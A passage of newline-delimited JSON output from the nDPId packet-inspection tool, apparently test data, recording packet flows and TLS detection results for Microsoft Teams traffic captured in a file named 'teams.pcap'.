wYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYHMm0eByOkWAgFkAgEHMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwkwDQYJKoZIhvcNAQELBQADggIBAKPl9SK0LY+EXU1pDCJZNILX\/tsLthBgVVkdFDbAun0x8Ww8QmlW6qLErphV\/AeU0i+ofY+1NRBI3dS5PHQF9yXT2VY0sqQBSti9zuzRw2uf11GLfIZx5EWNPlMkhPfXzWNxUVi2\/FkJWN3wqvwaShm5c0f5selfWZ8Bqq8SRlmox8B96mIVf3wk3SXeHNpZbjUXl7OcH6T7+r8sLEa8EYOEBcS5JF+k4PEHqk5mNBrpgaczqCJLhxuii3S7bIBIeG6sBZe83weEPDxpxsTpw02D\/5yXHd9C+oxAP4JQbVAgyoHjFdw4c3IsOE7FxTfNUSZNWmQXjOei3vQ32nR0chEHjNlTdJwKuQGoTQF0k45jiFV7z7s0Iv2rHqv+dB3P18SlgUBifwg+S0xQ3fPol\/cooBvyJhDIAIVmL+OOF17ZWOn9PMX6jznZgzxMjIBIIOMqNUaLfXXbbB\/ykAOUOkrVO6XTcdly26wevgCDRUTIPFRDzoN6slnotBP4mwALUEQTE5HTW+ultwf5P6UIHEZ2AtKHtW9Prb2\/IOVj7iZ8WMW3OpZkfhPmb50r4KHj5SL1FEouj0ymUJWTijP7SJELUHZslfqBZzbwVYghPjrsaOPr34Xaw9EPOiMn++5naD9XuozjC863v1M25zIRY0O3DfW4ygEYRsRTfv+z4LPLDAABaQMAGGEE2sl6xnO4uP94rSIxVlg4b\/j99hnR8yaBzHoUH9\/qsNRkW9haIO+cM+lX2sjma0NLyCeRaBVp\/yTEPyTID+7UaplNFWbv\/tcVBB71zV4gY+ppHdd07J8XxSx68sr41pWVBAEBACErGiRr9GjIHoClE\/uVmHDe2IM5WQ+tESjQJIYlxc54JzAdeIHUmFPRqdqVWHNRbyNeVieOWV6u"} +00689{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2029,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10988,"pkt_caplen":258,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":258,"pkt_l4_len":224,"pkt":"KDc3AG3IEBMx8Tl2CABFAAD0TQZAAHYG\/lk0ccKEwKgBBgG77I3Lqhp5SlZOj1AYCAS77AAAvIujPjRzrH4orx5NcFc758218nlovmJ9A8tO8uTQ31JS\/9Z8ard+gW85grhMGd5fC2AryGxpyADt94rcf5ANohO2O9w3chTBZqvmZ4RhOhDKhvjS2iYXJjZeQZW4VIDPOEwLyXk3X6tvRm\/KDMyqBXlWC2ySrpNlGYxWmAcLr+g2XNRhvDDEB8TeShOR8\/Q9S18sFSiDKSlKk9h3K4GyIjAuOKk30BmRTqH\/RcpyOnUhtU+GG6Fn\/M6NQ9dAXiKSzWT0bDE6Wh0OAAAA"} +01086{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2029,"source":"teams.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":12,"flow_first_seen":1587041685984,"flow_last_seen":1587041686010,"flow_tot_l4_data_len":6467,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":538,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60557,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"teams.microsoft.com","server_names":"teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"7d8fd34fdb13a7fff30d5a52846b6c4c","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=teams.microsoft.com","fingerprint":"68:1E:E8:3C:83:70:6F:E3:86:F4:E8:8C:C4:E6:A0:9A:3E:E0:9C:0E"}} +00408{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2030,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":11027,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyNAbtKVk6Py6obRVAQH8xpRgAA"} +00555{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2031,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":32102,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"EBMx8Tl2KDc3AG3ICABFAACTAABAAEAGgcHAqAEGNHHChOyNAbtKVk6Py6obRVAYIACsmwAAFgMDAGYQAABiYQQ29kHwPhvvnpaiCYG3+fxcHuntYbQcDfQWnyrEsXfWZHYY41ZDY2su30b0oAzRR5MiPvwj0FEd0ujfw7k4nnayIJgepfpgOA95AYZxgWsUyhsxGXi+m1LNcagh5bJS0Bk="} +00417{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2032,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":42525,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoTQdAAHYG\/yQ0ccKEwKgBBgG77I3LqhtFSlZO+lAQCASAowAAAAAAAAAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2043,"source":"teams.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1587041686239,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60559,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2043,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":239545,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIeyPAbtgh2e9AAAAALAC\/\/9PlwAAAgQFtAEDAwUBAQgKMIS9EAAAAAAEAgAA"} +00436{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2044,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":288146,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8YwZAAGwGaHQ0ck0hwKgBBgG77I9T9FE0YIdnvqASIADemAAAAgQFoAEDAwgEAggKYR9buzCEvRA="} +00425{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2045,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":288255,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyPAbtgh2e+U\/RRNYAQEAkdGQAAAQEICjCEvUBhH1u7"} +00707{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2046,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":288562,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIeyPAbtgh2e+U\/RRNYAYEAniuwAAAQEICjCEvUBhH1u7FgMBAMkBAADFAwPWvyUszXyGVwTdfXyAsIQo65lWnkpPMHo57lR912BOzSAuDwAAZ8HaIUQ\/TUKOJyzDpeZ2C6OXN9Z66nmD08\/sfwAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2046,"source":"teams.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":4,"flow_first_seen":1587041686239,"flow_last_seen":1587041686288,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60559,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02360{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2047,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":339149,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUYwhAAGwGYto0ck0hwKgBBgG77I9T9FbVYIdojIAQBAWA4QAAAQEICmEfW+0whL1ALnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +02363{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2048,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":339238,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUYwdAAGwGYts0ck0hwKgBBgG77I9T9FE1YIdojIAQBAWSmQAAAQEICmEfW+0whL1AFgMDEGYCAABRAwNemFWWDCWNYomQcFTZR7F9Q0j+Flr5LhYeyNcj8nMvlyDkPAAAKbM0d7f12FXyaEAA7qD+P9kwtx+HS3tAUpaW78AwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +00441{"flow_id":50,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2049,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":339261,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIeyPAbtgh2iMU\/RRNbAQEAmKzgAAAQEICjCEvXJhH1u7AQEFClP0VtVT9Fx1"} +00425{"flow_id":50,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2050,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":339277,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyPAbtgh2iMU\/RcdYAQD68RAQAAAQEICjCEvXJhH1vt"} +02214{"flow_id":50,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2051,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":339491,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfYwlAAGwGY040ck0hwKgBBgG77I9T9Fx1YIdojIAYBAWJUAAAAQEICmEfW+0whL1ABM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdIKiXD8e2\/Yok3vNl6lOBKNAOSuXeBOQSBZ7SE4K\/GxA1BAEBAJY+I1Zh+g\/pI23oryWomE7dln5uqCpjJ30J6URBq3C7OhRo8eQsIwlzUoS65zRnpCAYfXiDAeFWicIUhC3h7BTjPQGVICb\/T2lve+\/01A4vAbxxYHExRODPL3IwyPM+SDsNbkt1J1kefv860XH5lGclkvZdZ5oyNd6+Hlbg2f+FoeTgi45A0Am9ADm37C3xUlZwMyM9Vac4UMTShcKWA8Il4Dv0HRE2+yCVidbLOD95mwKbpT6R\/JNGNxhAzexs7pMLFSADPIL7Jhv52m60mJwOg\/acWFlFT4MUvzpgiqTCc1DF952J3IjhdYNmm+2zwoZNVR7SIoNqUyMUrHJvFZQOAAAA"} +00426{"flow_id":50,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2052,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":339530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyPAbtgh2iMU\/RhoIAQD9YLrwAAAQEICjCEvXJhH1vt"} +00553{"flow_id":50,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2053,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":341216,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIeyPAbtgh2iMU\/RhoIAYEADuPAAAAQEICjCEvXNhH1vtFgMDACUQAAAhILoNE073vLjkv42KST8jBEPCC1BAtVGR8MZdCvebJBtFFAMDAAEBFgMDACgAAAAAAAAAAJckANz4BCs8I78XXVnxpZcg2XCbaodvqaDrdTVFTmJ8"} +00495{"flow_id":50,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2054,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":389269,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnYwpAAGwGaEU0ck0hwKgBBgG77I9T9GGgYIdo6YAYBAVyZwAAAQEICmEfXBswhL1zFAMDAAEBFgMDACgAAAAAAAAAAOkiNhP8B13DC35Fq9aUjKeB4pBEiHe1eg9iEJe55fLr"} +00427{"flow_id":50,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2055,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":389360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyPAbtgh2jpU\/Rh04AQD\/4KmQAAAQEICjCEvaJhH1wb"} +02360{"flow_id":50,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2056,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":390751,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyPAbtgh2jpU\/Rh04AQEABHWgAAAQEICjCEvaNhH1wbFwMDNdQAAAAAAAAAARS1AoHXGXc7ihRSv8Tj+OXeK+qLZdoX\/mtelTHHto9+Wt9p7rAA5AYVg5NZL5AXwb9HECOHcFlhgViy+5wxuPvZrKY+KKgK1ZenGpXegDUDBWPYD3ZM+o97cm1z53yFtSboc\/ZDjVXzb7SnpUQRXFQRSeB5HZWjF6ygcN6HjR24xah9Uo7w5MdSB1VDlrDEJqCG2AZSRzLxWU7m4CREuN+XUcyMe89kOgMx+ky67xET9JOHDz+9P1ytKQ6R5icdvlhhZBdaSfU+Fq1Z8xnj84KwlE3hiZqYo\/SOPGmZdGHFg0ePUNJdZAOp79mdHaesVjjrZ6vdZObQW44zYCxqC6QID8j4SdN5DRhqIXwPt8gYMIBTOYNoYINw7e530+qglCTVxBjt6oAoyJziRi+DTmQpTU+g++wOm5v4fkaaWY\/ec70fFtGduUoDXLFKJSXohIcQcceM+B\/JttzkltzW3ETtvMEjPhuSIpjI8qQGG+0gm6zn6754copvDuP\/+WlWm96OJrwdYLlv9AJhGhrRPCAE98jiTyVEl3hgyaphDeczFQaqSvmoz193uls7+mNE3ZNTQWn1Ek+C9yoOGffAN71OToXVn2ZXZHauo1ZVy0VKKPMUt1RbpbfNohcE7pO9LoV428NifaBBu0XKE8BTweL95CtF2LMu5g86mSXH9V6+w4gp3TOTnESu87xstVuu1gDmHK+2nHF9cnJosIj1u1T6Sh1A4Pz0Yl38uAlzOBRuUIpxmrQWM0\/GHYAh453mEfkIr+vIGiznXS2+kIsNr6XklYlaMV8D\/CbXOIuKMWBg\/x8NgPqbv03muTcfzO9DIndvosQv+xnZLGqm0VjGJ5CPyPxkFTf5RwAp6B5C5pjdEYqAuVaFP5VP0mU3TSpGUohR9vhOcygzDdbWo0Y3S4jNVUi9ISeunPjXSTC3rI0lx+CorS8SBxn78\/95Hs\/nld\/KhPhNZV3DaIUh45fDARRiHmKX9egCTZnUvkrilaVIjCe6HD8+LEpCkKCFyBmP6IxdZULQvEoUViIF4HqhVuUW0S1Has09dEoxuivUxE5FbOJgITFsjAyWkYRC\/tlCZ4lflDmppL1flv+jo8lS6sU1cPCJtzmZGp2LnX+QNohcfvCNFItMsjHIC2eYhUtqijW0wWeKypsuQxCnLH\/R9daYUuB05\/QoyvLsa9bFHNYb00Dn2E5FR\/8LFQuDsZPin4hHUDE6f68v4q34vYS4J7+CTSK8dtXngQqwfEkEQC9UfPh9iJv\/Y8IrK0lKdUIm5ynzZJlvpFLvnO149TB+MicIJNfz+0et3KGqsy\/N5e7h0rZuzbejXavS